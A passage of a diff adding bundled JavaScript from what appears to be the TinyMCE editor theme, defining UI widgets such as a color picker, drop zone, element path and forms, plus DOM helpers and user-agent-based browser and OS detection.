+          }
+        }
+      });
+      return self$$1._super();
+    },
+    remove: function () {
+      global$7(this.getEl('inp')).off();
+      if (this.menu) {
+        this.menu.remove();
+      }
+      this._super();
+    }
+  });
+
+  var ColorBox = ComboBox.extend({
+    init: function (settings) {
+      var self = this;
+      settings.spellcheck = false;
+      if (settings.onaction) {
+        settings.icon = 'none';
+      }
+      self._super(settings);
+      self.classes.add('colorbox');
+      self.on('change keyup postrender', function () {
+        self.repaintColor(self.value());
+      });
+    },
+    repaintColor: function (value) {
+      var openElm = this.getEl('open');
+      var elm = openElm ? openElm.getElementsByTagName('i')[0] : null;
+      if (elm) {
+        try {
+          elm.style.background = value;
+        } catch (ex) {
+        }
+      }
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:value', function (e) {
+        if (self.state.get('rendered')) {
+          self.repaintColor(e.value);
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var PanelButton = Button.extend({
+    showPanel: function () {
+      var self = this, settings = self.settings;
+      self.classes.add('opened');
+      if (!self.panel) {
+        var panelSettings = settings.panel;
+        if (panelSettings.type) {
+          panelSettings = {
+            layout: 'grid',
+            items: panelSettings
+          };
+        }
+        panelSettings.role = panelSettings.role || 'dialog';
+        panelSettings.popover = true;
+        panelSettings.autohide = true;
+        panelSettings.ariaRoot = true;
+        self.panel = new FloatPanel(panelSettings).on('hide', function () {
+          self.classes.remove('opened');
+        }).on('cancel', function (e) {
+          e.stopPropagation();
+          self.focus();
+          self.hidePanel();
+        }).parent(self).renderTo(self.getContainerElm());
+        self.panel.fire('show');
+        self.panel.reflow();
+      } else {
+        self.panel.show();
+      }
+      var rtlRels = [
+        'bc-tc',
+        'bc-tl',
+        'bc-tr'
+      ];
+      var ltrRels = [
+        'bc-tc',
+        'bc-tr',
+        'bc-tl',
+        'tc-bc',
+        'tc-br',
+        'tc-bl'
+      ];
+      var rel = self.panel.testMoveRel(self.getEl(), settings.popoverAlign || (self.isRtl() ? rtlRels : ltrRels));
+      self.panel.classes.toggle('start', rel.substr(-1) === 'l');
+      self.panel.classes.toggle('end', rel.substr(-1) === 'r');
+      var isTop = rel.substr(0, 1) === 't';
+      self.panel.classes.toggle('bottom', !isTop);
+      self.panel.classes.toggle('top', isTop);
+      self.panel.moveRel(self.getEl(), rel);
+    },
+    hidePanel: function () {
+      var self = this;
+      if (self.panel) {
+        self.panel.hide();
+      }
+    },
+    postRender: function () {
+      var self = this;
+      self.aria('haspopup', true);
+      self.on('click', function (e) {
+        if (e.control === self) {
+          if (self.panel && self.panel.visible()) {
+            self.hidePanel();
+          } else {
+            self.showPanel();
+            self.panel.focus(!!e.aria);
+          }
+        }
+      });
+      return self._super();
+    },
+    remove: function () {
+      if (this.panel) {
+        this.panel.remove();
+        this.panel = null;
+      }
+      return this._super();
+    }
+  });
+
+  var DOM = global$2.DOM;
+  var ColorButton = PanelButton.extend({
+    init: function (settings) {
+      this._super(settings);
+      this.classes.add('splitbtn');
+      this.classes.add('colorbutton');
+    },
+    color: function (color) {
+      if (color) {
+        this._color = color;
+        this.getEl('preview').style.backgroundColor = color;
+        return this;
+      }
+      return this._color;
+    },
+    resetColor: function () {
+      this._color = null;
+      this.getEl('preview').style.backgroundColor = null;
+      return this;
+    },
+    renderHtml: function () {
+      var self = this, id = self._id, prefix = self.classPrefix, text = self.state.get('text');
+      var icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
+      var image = self.settings.image ? ' style="background-image: url(\'' + self.settings.image + '\')"' : '';
+      var textHtml = '';
+      if (text) {
+        self.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
+      }
+      return '<div id="' + id + '" class="' + self.classes + '" role="button" tabindex="-1" aria-haspopup="true">' + '<button role="presentation" hidefocus="1" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + '<span id="' + id + '-preview" class="' + prefix + 'preview"></span>' + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
+    },
+    postRender: function () {
+      var self = this, onClickHandler = self.settings.onclick;
+      self.on('click', function (e) {
+        if (e.aria && e.aria.key === 'down') {
+          return;
+        }
+        if (e.control === self && !DOM.getParent(e.target, '.' + self.classPrefix + 'open')) {
+          e.stopImmediatePropagation();
+          onClickHandler.call(self, e);
+        }
+      });
+      delete self.settings.onclick;
+      return self._super();
+    }
+  });
+
+  var global$16 = tinymce.util.Tools.resolve('tinymce.util.Color');
+
+  var ColorPicker = Widget.extend({
+    Defaults: { classes: 'widget colorpicker' },
+    init: function (settings) {
+      this._super(settings);
+    },
+    postRender: function () {
+      var self = this;
+      var color = self.color();
+      var hsv, hueRootElm, huePointElm, svRootElm, svPointElm;
+      hueRootElm = self.getEl('h');
+      huePointElm = self.getEl('hp');
+      svRootElm = self.getEl('sv');
+      svPointElm = self.getEl('svp');
+      function getPos(elm, event) {
+        var pos = funcs.getPos(elm);
+        var x, y;
+        x = event.pageX - pos.x;
+        y = event.pageY - pos.y;
+        x = Math.max(0, Math.min(x / elm.clientWidth, 1));
+        y = Math.max(0, Math.min(y / elm.clientHeight, 1));
+        return {
+          x: x,
+          y: y
+        };
+      }
+      function updateColor(hsv, hueUpdate) {
+        var hue = (360 - hsv.h) / 360;
+        funcs.css(huePointElm, { top: hue * 100 + '%' });
+        if (!hueUpdate) {
+          funcs.css(svPointElm, {
+            left: hsv.s + '%',
+            top: 100 - hsv.v + '%'
+          });
+        }
+        svRootElm.style.background = global$16({
+          s: 100,
+          v: 100,
+          h: hsv.h
+        }).toHex();
+        self.color().parse({
+          s: hsv.s,
+          v: hsv.v,
+          h: hsv.h
+        });
+      }
+      function updateSaturationAndValue(e) {
+        var pos;
+        pos = getPos(svRootElm, e);
+        hsv.s = pos.x * 100;
+        hsv.v = (1 - pos.y) * 100;
+        updateColor(hsv);
+        self.fire('change');
+      }
+      function updateHue(e) {
+        var pos;
+        pos = getPos(hueRootElm, e);
+        hsv = color.toHsv();
+        hsv.h = (1 - pos.y) * 360;
+        updateColor(hsv, true);
+        self.fire('change');
+      }
+      self._repaint = function () {
+        hsv = color.toHsv();
+        updateColor(hsv);
+      };
+      self._super();
+      self._svdraghelper = new DragHelper(self._id + '-sv', {
+        start: updateSaturationAndValue,
+        drag: updateSaturationAndValue
+      });
+      self._hdraghelper = new DragHelper(self._id + '-h', {
+        start: updateHue,
+        drag: updateHue
+      });
+      self._repaint();
+    },
+    rgb: function () {
+      return this.color().toRgb();
+    },
+    value: function (value) {
+      var self = this;
+      if (arguments.length) {
+        self.color().parse(value);
+        if (self._rendered) {
+          self._repaint();
+        }
+      } else {
+        return self.color().toHex();
+      }
+    },
+    color: function () {
+      if (!this._color) {
+        this._color = global$16();
+      }
+      return this._color;
+    },
+    renderHtml: function () {
+      var self = this;
+      var id = self._id;
+      var prefix = self.classPrefix;
+      var hueHtml;
+      var stops = '#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000';
+      function getOldIeFallbackHtml() {
+        var i, l, html = '', gradientPrefix, stopsList;
+        gradientPrefix = 'filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=';
+        stopsList = stops.split(',');
+        for (i = 0, l = stopsList.length - 1; i < l; i++) {
+          html += '<div class="' + prefix + 'colorpicker-h-chunk" style="' + 'height:' + 100 / l + '%;' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ');' + '-ms-' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ')' + '"></div>';
+        }
+        return html;
+      }
+      var gradientCssText = 'background: -ms-linear-gradient(top,' + stops + ');' + 'background: linear-gradient(to bottom,' + stops + ');';
+      hueHtml = '<div id="' + id + '-h" class="' + prefix + 'colorpicker-h" style="' + gradientCssText + '">' + getOldIeFallbackHtml() + '<div id="' + id + '-hp" class="' + prefix + 'colorpicker-h-marker"></div>' + '</div>';
+      return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-sv" class="' + prefix + 'colorpicker-sv">' + '<div class="' + prefix + 'colorpicker-overlay1">' + '<div class="' + prefix + 'colorpicker-overlay2">' + '<div id="' + id + '-svp" class="' + prefix + 'colorpicker-selector1">' + '<div class="' + prefix + 'colorpicker-selector2"></div>' + '</div>' + '</div>' + '</div>' + '</div>' + hueHtml + '</div>';
+    }
+  });
+
+  var DropZone = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      settings = global$4.extend({
+        height: 100,
+        text: 'Drop an image here',
+        multiple: false,
+        accept: null
+      }, settings);
+      self._super(settings);
+      self.classes.add('dropzone');
+      if (settings.multiple) {
+        self.classes.add('multiple');
+      }
+    },
+    renderHtml: function () {
+      var self = this;
+      var attrs, elm;
+      var cfg = self.settings;
+      attrs = {
+        id: self._id,
+        hidefocus: '1'
+      };
+      elm = funcs.create('div', attrs, '<span>' + this.translate(cfg.text) + '</span>');
+      if (cfg.height) {
+        funcs.css(elm, 'height', cfg.height + 'px');
+      }
+      if (cfg.width) {
+        funcs.css(elm, 'width', cfg.width + 'px');
+      }
+      elm.className = self.classes;
+      return elm.outerHTML;
+    },
+    postRender: function () {
+      var self = this;
+      var toggleDragClass = function (e) {
+        e.preventDefault();
+        self.classes.toggle('dragenter');
+        self.getEl().className = self.classes;
+      };
+      var filter = function (files) {
+        var accept = self.settings.accept;
+        if (typeof accept !== 'string') {
+          return files;
+        }
+        var re = new RegExp('(' + accept.split(/\s*,\s*/).join('|') + ')$', 'i');
+        return global$4.grep(files, function (file) {
+          return re.test(file.name);
+        });
+      };
+      self._super();
+      self.$el.on('dragover', function (e) {
+        e.preventDefault();
+      });
+      self.$el.on('dragenter', toggleDragClass);
+      self.$el.on('dragleave', toggleDragClass);
+      self.$el.on('drop', function (e) {
+        e.preventDefault();
+        if (self.state.get('disabled')) {
+          return;
+        }
+        var files = filter(e.dataTransfer.files);
+        self.value = function () {
+          if (!files.length) {
+            return null;
+          } else if (self.settings.multiple) {
+            return files;
+          } else {
+            return files[0];
+          }
+        };
+        if (files.length) {
+          self.fire('change', e);
+        }
+      });
+    },
+    remove: function () {
+      this.$el.off();
+      this._super();
+    }
+  });
+
+  var Path = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      if (!settings.delimiter) {
+        settings.delimiter = '\xBB';
+      }
+      self._super(settings);
+      self.classes.add('path');
+      self.canFocus = true;
+      self.on('click', function (e) {
+        var index;
+        var target = e.target;
+        if (index = target.getAttribute('data-index')) {
+          self.fire('select', {
+            value: self.row()[index],
+            index: index
+          });
+        }
+      });
+      self.row(self.settings.row);
+    },
+    focus: function () {
+      var self = this;
+      self.getEl().firstChild.focus();
+      return self;
+    },
+    row: function (row) {
+      if (!arguments.length) {
+        return this.state.get('row');
+      }
+      this.state.set('row', row);
+      return this;
+    },
+    renderHtml: function () {
+      var self = this;
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + self._getDataPathHtml(self.state.get('row')) + '</div>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:row', function (e) {
+        self.innerHtml(self._getDataPathHtml(e.value));
+      });
+      return self._super();
+    },
+    _getDataPathHtml: function (data) {
+      var self = this;
+      var parts = data || [];
+      var i, l, html = '';
+      var prefix = self.classPrefix;
+      for (i = 0, l = parts.length; i < l; i++) {
+        html += (i > 0 ? '<div class="' + prefix + 'divider" aria-hidden="true"> ' + self.settings.delimiter + ' </div>' : '') + '<div role="button" class="' + prefix + 'path-item' + (i === l - 1 ? ' ' + prefix + 'last' : '') + '" data-index="' + i + '" tabindex="-1" id="' + self._id + '-' + i + '" aria-level="' + (i + 1) + '">' + parts[i].name + '</div>';
+      }
+      if (!html) {
+        html = '<div class="' + prefix + 'path-item">\xA0</div>';
+      }
+      return html;
+    }
+  });
+
+  var ElementPath = Path.extend({
+    postRender: function () {
+      var self = this, editor = self.settings.editor;
+      function isHidden(elm) {
+        if (elm.nodeType === 1) {
+          if (elm.nodeName === 'BR' || !!elm.getAttribute('data-mce-bogus')) {
+            return true;
+          }
+          if (elm.getAttribute('data-mce-type') === 'bookmark') {
+            return true;
+          }
+        }
+        return false;
+      }
+      if (editor.settings.elementpath !== false) {
+        self.on('select', function (e) {
+          editor.focus();
+          editor.selection.select(this.row()[e.index].element);
+          editor.nodeChanged();
+        });
+        editor.on('nodeChange', function (e) {
+          var outParents = [];
+          var parents = e.parents;
+          var i = parents.length;
+          while (i--) {
+            if (parents[i].nodeType === 1 && !isHidden(parents[i])) {
+              var args = editor.fire('ResolveName', {
+                name: parents[i].nodeName.toLowerCase(),
+                target: parents[i]
+              });
+              if (!args.isDefaultPrevented()) {
+                outParents.push({
+                  name: args.name,
+                  element: parents[i]
+                });
+              }
+              if (args.isPropagationStopped()) {
+                break;
+              }
+            }
+          }
+          self.row(outParents);
+        });
+      }
+      return self._super();
+    }
+  });
+
+  var FormItem = Container.extend({
+    Defaults: {
+      layout: 'flex',
+      align: 'center',
+      defaults: { flex: 1 }
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout, prefix = self.classPrefix;
+      self.classes.add('formitem');
+      layout.preRender(self);
+      return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<div id="' + self._id + '-title" class="' + prefix + 'title">' + self.settings.title + '</div>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
+    }
+  });
+
+  var Form = Container.extend({
+    Defaults: {
+      containerCls: 'form',
+      layout: 'flex',
+      direction: 'column',
+      align: 'stretch',
+      flex: 1,
+      padding: 15,
+      labelGap: 30,
+      spacing: 10,
+      callbacks: {
+        submit: function () {
+          this.submit();
+        }
+      }
+    },
+    preRender: function () {
+      var self = this, items = self.items();
+      if (!self.settings.formItemDefaults) {
+        self.settings.formItemDefaults = {
+          layout: 'flex',
+          autoResize: 'overflow',
+          defaults: { flex: 1 }
+        };
+      }
+      items.each(function (ctrl) {
+        var formItem;
+        var label = ctrl.settings.label;
+        if (label) {
+          formItem = new FormItem(global$4.extend({
+            items: {
+              type: 'label',
+              id: ctrl._id + '-l',
+              text: label,
+              flex: 0,
+              forId: ctrl._id,
+              disabled: ctrl.disabled()
+            }
+          }, self.settings.formItemDefaults));
+          formItem.type = 'formitem';
+          ctrl.aria('labelledby', ctrl._id + '-l');
+          if (typeof ctrl.settings.flex === 'undefined') {
+            ctrl.settings.flex = 1;
+          }
+          self.replace(ctrl, formItem);
+          formItem.add(ctrl);
+        }
+      });
+    },
+    submit: function () {
+      return this.fire('submit', { data: this.toJSON() });
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.fromJSON(self.settings.data);
+    },
+    bindStates: function () {
+      var self = this;
+      self._super();
+      function recalcLabels() {
+        var maxLabelWidth = 0;
+        var labels = [];
+        var i, labelGap, items;
+        if (self.settings.labelGapCalc === false) {
+          return;
+        }
+        if (self.settings.labelGapCalc === 'children') {
+          items = self.find('formitem');
+        } else {
+          items = self.items();
+        }
+        items.filter('formitem').each(function (item) {
+          var labelCtrl = item.items()[0], labelWidth = labelCtrl.getEl().clientWidth;
+          maxLabelWidth = labelWidth > maxLabelWidth ? labelWidth : maxLabelWidth;
+          labels.push(labelCtrl);
+        });
+        labelGap = self.settings.labelGap || 0;
+        i = labels.length;
+        while (i--) {
+          labels[i].settings.minWidth = maxLabelWidth + labelGap;
+        }
+      }
+      self.on('show', recalcLabels);
+      recalcLabels();
+    }
+  });
+
+  var FieldSet = Form.extend({
+    Defaults: {
+      containerCls: 'fieldset',
+      layout: 'flex',
+      direction: 'column',
+      align: 'stretch',
+      flex: 1,
+      padding: '25 15 5 15',
+      labelGap: 30,
+      spacing: 10,
+      border: 1
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout, prefix = self.classPrefix;
+      self.preRender();
+      layout.preRender(self);
+      return '<fieldset id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + (self.settings.title ? '<legend id="' + self._id + '-title" class="' + prefix + 'fieldset-title">' + self.settings.title + '</legend>' : '') + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</fieldset>';
+    }
+  });
+
+  var unique$1 = 0;
+  var generate = function (prefix) {
+    var date = new Date();
+    var time = date.getTime();
+    var random = Math.floor(Math.random() * 1000000000);
+    unique$1++;
+    return prefix + '_' + random + unique$1 + String(time);
+  };
+
+  var fromHtml = function (html, scope) {
+    var doc = scope || document;
+    var div = doc.createElement('div');
+    div.innerHTML = html;
+    if (!div.hasChildNodes() || div.childNodes.length > 1) {
+      console.error('HTML does not have a single root node', html);
+      throw 'HTML must have a single root node';
+    }
+    return fromDom(div.childNodes[0]);
+  };
+  var fromTag = function (tag, scope) {
+    var doc = scope || document;
+    var node = doc.createElement(tag);
+    return fromDom(node);
+  };
+  var fromText = function (text, scope) {
+    var doc = scope || document;
+    var node = doc.createTextNode(text);
+    return fromDom(node);
+  };
+  var fromDom = function (node) {
+    if (node === null || node === undefined)
+      throw new Error('Node cannot be null or undefined');
+    return { dom: constant(node) };
+  };
+  var fromPoint = function (docElm, x, y) {
+    var doc = docElm.dom();
+    return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
+  };
+  var Element$$1 = {
+    fromHtml: fromHtml,
+    fromTag: fromTag,
+    fromText: fromText,
+    fromDom: fromDom,
+    fromPoint: fromPoint
+  };
+
+  var cached = function (f) {
+    var called = false;
+    var r;
+    return function () {
+      var args = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        args[_i] = arguments[_i];
+      }
+      if (!called) {
+        called = true;
+        r = f.apply(null, args);
+      }
+      return r;
+    };
+  };
+
+  var $_2jrgnk1apjjgwek8y = {
+    ATTRIBUTE: Node.ATTRIBUTE_NODE,
+    CDATA_SECTION: Node.CDATA_SECTION_NODE,
+    COMMENT: Node.COMMENT_NODE,
+    DOCUMENT: Node.DOCUMENT_NODE,
+    DOCUMENT_TYPE: Node.DOCUMENT_TYPE_NODE,
+    DOCUMENT_FRAGMENT: Node.DOCUMENT_FRAGMENT_NODE,
+    ELEMENT: Node.ELEMENT_NODE,
+    TEXT: Node.TEXT_NODE,
+    PROCESSING_INSTRUCTION: Node.PROCESSING_INSTRUCTION_NODE,
+    ENTITY_REFERENCE: Node.ENTITY_REFERENCE_NODE,
+    ENTITY: Node.ENTITY_NODE,
+    NOTATION: Node.NOTATION_NODE
+  };
+
+  var name = function (element) {
+    var r = element.dom().nodeName;
+    return r.toLowerCase();
+  };
+  var type = function (element) {
+    return element.dom().nodeType;
+  };
+  var value = function (element) {
+    return element.dom().nodeValue;
+  };
+  var isType$2 = function (t) {
+    return function (element) {
+      return type(element) === t;
+    };
+  };
+  var isComment = function (element) {
+    return type(element) === $_2jrgnk1apjjgwek8y.COMMENT || name(element) === '#comment';
+  };
+  var isElement = isType$2($_2jrgnk1apjjgwek8y.ELEMENT);
+  var isText = isType$2($_2jrgnk1apjjgwek8y.TEXT);
+  var isDocument = isType$2($_2jrgnk1apjjgwek8y.DOCUMENT);
+  var $_fv3as1aojjgwek8x = {
+    name: name,
+    type: type,
+    value: value,
+    isElement: isElement,
+    isText: isText,
+    isDocument: isDocument,
+    isComment: isComment
+  };
+
+  var inBody = function (element) {
+    var dom = $_fv3as1aojjgwek8x.isText(element) ? element.dom().parentNode : element.dom();
+    return dom !== undefined && dom !== null && dom.ownerDocument.body.contains(dom);
+  };
+  var body = cached(function () {
+    return getBody(Element$$1.fromDom(document));
+  });
+  var getBody = function (doc) {
+    var body = doc.dom().body;
+    if (body === null || body === undefined)
+      throw 'Body is not available yet';
+    return Element$$1.fromDom(body);
+  };
+  var $_d2glpe1amjjgwek8t = {
+    body: body,
+    getBody: getBody,
+    inBody: inBody
+  };
+
+  var Immutable = function () {
+    var fields = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      fields[_i] = arguments[_i];
+    }
+    return function () {
+      var values = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        values[_i] = arguments[_i];
+      }
+      if (fields.length !== values.length) {
+        throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
+      }
+      var struct = {};
+      each(fields, function (name, i) {
+        struct[name] = constant(values[i]);
+      });
+      return struct;
+    };
+  };
+
+  var toArray = function (target, f) {
+    var r = [];
+    var recurse = function (e) {
+      r.push(e);
+      return f(e);
+    };
+    var cur = f(target);
+    do {
+      cur = cur.bind(recurse);
+    } while (cur.isSome());
+    return r;
+  };
+  var $_607sf01awjjgweka0 = { toArray: toArray };
+
+  var node = function () {
+    var f = $_8wnjhx19gjjgwek54.getOrDie('Node');
+    return f;
+  };
+  var compareDocumentPosition = function (a, b, match) {
+    return (a.compareDocumentPosition(b) & match) !== 0;
+  };
+  var documentPositionPreceding = function (a, b) {
+    return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
+  };
+  var documentPositionContainedBy = function (a, b) {
+    return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
+  };
+  var $_d0o64o1ayjjgwekaa = {
+    documentPositionPreceding: documentPositionPreceding,
+    documentPositionContainedBy: documentPositionContainedBy
+  };
+
+  var firstMatch = function (regexes, s) {
+    for (var i = 0; i < regexes.length; i++) {
+      var x = regexes[i];
+      if (x.test(s))
+        return x;
+    }
+    return undefined;
+  };
+  var find$2 = function (regexes, agent) {
+    var r = firstMatch(regexes, agent);
+    if (!r)
+      return {
+        major: 0,
+        minor: 0
+      };
+    var group = function (i) {
+      return Number(agent.replace(r, '$' + i));
+    };
+    return nu(group(1), group(2));
+  };
+  var detect = function (versionRegexes, agent) {
+    var cleanedAgent = String(agent).toLowerCase();
+    if (versionRegexes.length === 0)
+      return unknown();
+    return find$2(versionRegexes, cleanedAgent);
+  };
+  var unknown = function () {
+    return nu(0, 0);
+  };
+  var nu = function (major, minor) {
+    return {
+      major: major,
+      minor: minor
+    };
+  };
+  var $_bhlk9t1b2jjgwekaq = {
+    nu: nu,
+    detect: detect,
+    unknown: unknown
+  };
+
+  var edge = 'Edge';
+  var chrome = 'Chrome';
+  var ie = 'IE';
+  var opera = 'Opera';
+  var firefox = 'Firefox';
+  var safari = 'Safari';
+  var isBrowser = function (name, current) {
+    return function () {
+      return current === name;
+    };
+  };
+  var unknown$1 = function () {
+    return nu$1({
+      current: undefined,
+      version: $_bhlk9t1b2jjgwekaq.unknown()
+    });
+  };
+  var nu$1 = function (info) {
+    var current = info.current;
+    var version = info.version;
+    return {
+      current: current,
+      version: version,
+      isEdge: isBrowser(edge, current),
+      isChrome: isBrowser(chrome, current),
+      isIE: isBrowser(ie, current),
+      isOpera: isBrowser(opera, current),
+      isFirefox: isBrowser(firefox, current),
+      isSafari: isBrowser(safari, current)
+    };
+  };
+  var $_3j4jht1b1jjgwekal = {
+    unknown: unknown$1,
+    nu: nu$1,
+    edge: constant(edge),
+    chrome: constant(chrome),
+    ie: constant(ie),
+    opera: constant(opera),
+    firefox: constant(firefox),
+    safari: constant(safari)
+  };
+
+  var windows$1 = 'Windows';
+  var ios = 'iOS';
+  var android = 'Android';
+  var linux = 'Linux';
+  var osx = 'OSX';
+  var solaris = 'Solaris';
+  var freebsd = 'FreeBSD';
+  var isOS = function (name, current) {
+    return function () {
+      return current === name;
+    };
+  };
+  var unknown$2 = function () {
+    return nu$2({
+      current: undefined,
+      version: $_bhlk9t1b2jjgwekaq.unknown()
+    });
+  };
+  var nu$2 = function (info) {
+    var current = info.current;
+    var version = info.version;
+    return {
+      current: current,
+      version: version,
+      isWindows: isOS(windows$1, current),
+      isiOS: isOS(ios, current),
+      isAndroid: isOS(android, current),
+      isOSX: isOS(osx, current),
+      isLinux: isOS(linux, current),
+      isSolaris: isOS(solaris, current),
+      isFreeBSD: isOS(freebsd, current)
+    };
+  };
+  var $_7je60a1b3jjgwekar = {
+    unknown: unknown$2,
+    nu: nu$2,
+    windows: constant(windows$1),
+    ios: constant(ios),
+    android: constant(android),
+    linux: constant(linux),
+    osx: constant(osx),
+    solaris: constant(solaris),
+    freebsd: constant(freebsd)
+  };
+
+  function DeviceType (os, browser, userAgent) {
+    var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
+    var isiPhone = os.isiOS() && !isiPad;
+    var isAndroid3 = os.isAndroid() && os.version.major === 3;
+    var isAndroid4 = os.isAndroid() && os.version.major === 4;
+    var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
+    var isTouch = os.isiOS() || os.isAndroid();
+    var isPhone = isTouch && !isTablet;
+    var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
+    return {
+      isiPad: constant(isiPad),
+      isiPhone: constant(isiPhone),
+      isTablet: constant(isTablet),
+      isPhone: constant(isPhone),
+      isTouch: constant(isTouch),
+      isAndroid: os.isAndroid,
+      isiOS: os.isiOS,
+      isWebView: constant(iOSwebview)
+    };
+  }
+
+  var detect$1 = function (candidates, userAgent) {
+    var agent = String(userAgent).toLowerCase();
+    return find(candidates, function (candidate) {
+      return candidate.search(agent);
+    });
+  };
+  var detectBrowser = function (browsers, userAgent) {
+    return detect$1(browsers, userAgent).map(function (browser) {
+      var version = $_bhlk9t1b2jjgwekaq.detect(browser.versionRegexes, userAgent);
+      return {
+        current: browser.name,
+        version: version
+      };
+    });
+  };
+  var detectOs = function (oses, userAgent) {
+    return detect$1(oses, userAgent).map(function (os) {
+      var version = $_bhlk9t1b2jjgwekaq.detect(os.versionRegexes, userAgent);
+      return {
+        current: os.name,
+        version: version
+      };
+    });
+  };
+  var $_1uo66k1b5jjgwekb9 = {
+    detectBrowser: detectBrowser,
+    detectOs: detectOs
+  };
+
+  var contains$1 = function (str, substr) {
+    return str.indexOf(substr) !== -1;
+  };
+
+  var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
+  var checkContains = function (target) {
+    return function (uastring) {
+      return contains$1(uastring, target);
+    };
+  };
+  var browsers = [
+    {
+      name: 'Edge',
+      versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
+      search: function (uastring) {
+        var monstrosity = contains$1(uastring, 'edge/') && contains$1(uastring, 'chrome') && contains$1(uastring, 'safari') && contains$1(uastring, 'applewebkit');
+        return monstrosity;
+      }
+    },
+    {
+      name: 'Chrome',
+      versionRegexes: [
+        /.*?chrome\/([0-9]+)\.([0-9]+).*/,
+        normalVersionRegex
+      ],
+      search: function (uastring) {
+        return contains$1(uastring, 'chrome') && !contains$1(uastring, 'chromeframe');
+      }
+    },
+    {
+      name: 'IE',
+      versionRegexes: [
+        /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
+        /.*?rv:([0-9]+)\.([0-9]+).*/
+      ],
+      search: function (uastring) {
+        return contains$1(uastring, 'msie') || contains$1(uastring, 'trident');
+      }
+    },
+    {
+      name: 'Opera',
+      versionRegexes: [
+        normalVersionRegex,
+        /.*?opera\/([0-9]+)\.([0-9]+).*/
+      ],
+      search: checkContains('opera')
+    },
+    {
+      name: 'Firefox',
+      versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
+      search: checkContains('firefox')
+    },
+    {
+      name: 'Safari',
+      versionRegexes: [
+        normalVersionRegex,
+        /.*?cpu os ([0-9]+)_([0-9]+).*/
+      ],
+      search: function (uastring) {
+        return (contains$1(uastring, 'safari') || contains$1(uastring, 'mobile/')) && contains$1(uastring, 'applewebkit');
+      }
+    }
+  ];
+  var oses = [
+    {
+      name: 'Windows',
+      search: checkContains('win'),
+      versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
+    },
+    {
+      name: 'iOS',
+      search: function (uastring) {
+        return contains$1(uastring, 'iphone') || contains$1(uastring, 'ipad');
+      },
+      versionRegexes: [
+        /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
+        /.*cpu os ([0-9]+)_([0-9]+).*/,
+        /.*cpu iphone os ([0-9]+)_([0-9]+).*/
+      ]
+    },
+    {
+      name: 'Android',
+      search: checkContains('android'),
+      versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
+    },
+    {
+      name: 'OSX',
+      search: checkContains('os x'),
+      versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
+    },
+    {
+      name: 'Linux',
+      search: checkContains('linux'),
+      versionRegexes: []
+    },
+    {
+      name: 'Solaris',
+      search: checkContains('sunos'),
+      versionRegexes: []
+    },
+    {
+      name: 'FreeBSD',
+      search: checkContains('freebsd'),
+      versionRegexes: []
+    }
+  ];
+  var $_4f7v971b6jjgwekbd = {
+    browsers: constant(browsers),
+    oses: constant(oses)
+  };
+
+  var detect$2 = function (userAgent) {
+    var browsers = $_4f7v971b6jjgwekbd.browsers();
+    var oses = $_4f7v971b6jjgwekbd.oses();
+    var browser = $_1uo66k1b5jjgwekb9.detectBrowser(browsers, userAgent).fold($_3j4jht1b1jjgwekal.unknown, $_3j4jht1b1jjgwekal.nu);
+    var os = $_1uo66k1b5jjgwekb9.detectOs(oses, userAgent).fold($_7je60a1b3jjgwekar.unknown, $_7je60a1b3jjgwekar.nu);
+    var deviceType = DeviceType(os, browser, userAgent);
+    return {
+      browser: browser,
+      os: os,
+      deviceType: deviceType
+    };
+  };
+  var $_d71emz1b0jjgwekak = { detect: detect$2 };
+
+  var detect$3 = cached(function () {
+    var userAgent = navigator.userAgent;
+    return $_d71emz1b0jjgwekak.detect(userAgent);
+  });
